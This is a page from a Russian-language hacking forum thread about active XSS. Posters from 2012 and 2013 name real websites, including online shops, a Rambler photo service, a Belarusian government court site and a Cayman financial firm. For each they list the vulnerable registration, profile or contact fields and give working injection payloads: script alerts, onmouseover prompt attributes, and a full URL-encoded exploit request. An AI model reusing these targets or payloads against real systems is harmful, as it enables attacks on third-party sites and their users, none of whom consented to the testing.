HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Активные Xss
   
Ответ
Страница 50 из 54 « Первая < 40 46 47 48 49 50 51 52 53 54 >
 
Опции темы Поиск в этой теме Опции просмотра

  #491  
Старый 28.04.2012, 16:41
Serrg
Познающий
Регистрация: 25.12.2011
Сообщений: 85
С нами: 7569686

Репутация: 13
По умолчанию
популярный сервис Спрашивай

xss в поле имя при регистрации

Код:
">alert(/xss/)
alert('xss')
">
 
Ответить с цитированием

  #492  
Старый 18.05.2012, 18:34
Groove
Участник форума
Регистрация: 13.11.2010
Сообщений: 184
С нами: 8155766

Репутация: 2
По умолчанию
http://212.ru/

Регистрируемся , заходим в профиль ->Настройки->

Уязвимые поля:



Имя


Пример

Цитата:
Сообщение от None  
">alert('xss')
 
Ответить с цитированием

  #493  
Старый 27.05.2012, 01:11
Fever
Новичок
Регистрация: 04.06.2011
Сообщений: 7
С нами: 7863446

Репутация: 1
По умолчанию
интернет-магазин: gamepost.ua

тИЦ: 10

PR: 3

Ни одно поле при регистрации не фильтруется.

Уязвимо поле: Телефон
 
Ответить с цитированием

  #494  
Старый 10.06.2012, 17:13
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию
интернет магазин firstspring.ru

В профиле уязвимы все поля кроме E-mail
 
Ответить с цитированием

  #495  
Старый 13.09.2012, 21:14
ChymeNik
Познающий
Регистрация: 31.08.2010
Сообщений: 30
С нами: 8262326

Репутация: 9
По умолчанию
XSS rambler.ru:

Логинимся на рамблере, http://foto.rambler.ru/photos/add/?album_id= загружаем фото

Редактируем описание фото (действия с фото->редактировать) на:

1'alert("Chymenik - this is XSS! +1rep")

Пример: http://foto.rambler.ru/photos/5051d95d-5cdd-e5af-2988-b7f96b35aa7c/
 
Ответить с цитированием

  #496  
Старый 09.01.2013, 03:10
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию
mingorsud. gov.by


Код:
h_tp://mingorsud.gov.by/syst em/tmp ls/pages/pismo/fi z.p hp
Уязвимое поле: post_address

вставляем : " onmouseover=prompt(943147) bad="

P.S.

/system/tmpls/pages/pismo/ur.php

Уязвимое поле: post_address
 
Ответить с цитированием

  #497  
Старый 14.01.2013, 16:41
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию
http://xakep.ru/articles/map/default.asp



Вставляем код в любом поле и нажимаем на Отправить и вы суперхакер.
 
Ответить с цитированием

  #498  
Старый 25.02.2013, 18:39
Groove
Участник форума
Регистрация: 13.11.2010
Сообщений: 184
С нами: 8155766

Репутация: 2
По умолчанию
http://russen.eu

Пример

Сама уязвиость

Уязвимое поле "О себе " Сайт находиться на 2 месте в топ mail "Знакомства"
 
Ответить с цитированием

  #499  
Старый 25.02.2013, 19:18
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию
Цитата:
Сообщение от Groove  
http
://
russen
.eu
Пример
Уязвимое поле "О себе " Сайт находиться на 2 месте в топ mail "Знакомства"
Приложите пример вставляемого скрипта пожалуйста.
 
Ответить с цитированием

  #500  
Старый 27.02.2013, 22:37
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию
https://www.abacuscapital.ky

Код:
https://www.abacuscapital.ky/contact.asp?Email=CodeFail&EmailAddress=%27%20onmouseover%3dprompt%28958726%29%20bad%3d%27&MessageBody=1%3C%2ftextarea%3E1%3CScRiPt%20%3Eprompt%28978443%29%3C%2fScRiPt%3E
а точнее, уязвимы поля EmailAddress и MessageBody

Тож самое в: /process_form.asp

уязвимы поля EmailAddress и MessageBody
 
Ответить с цитированием
Ответ
Страница 50 из 54 « Первая < 40 46 47 48 49 50 51 52 53 54 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss для новичков Micr0b Уязвимости 79 06.07.2018 22:05
Xss bx_N Forum for discussion of ANTICHAT 7 11.03.2007 19:17
mylivepage.ru активные XSS __XT__ Уязвимости 3 23.12.2006 14:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.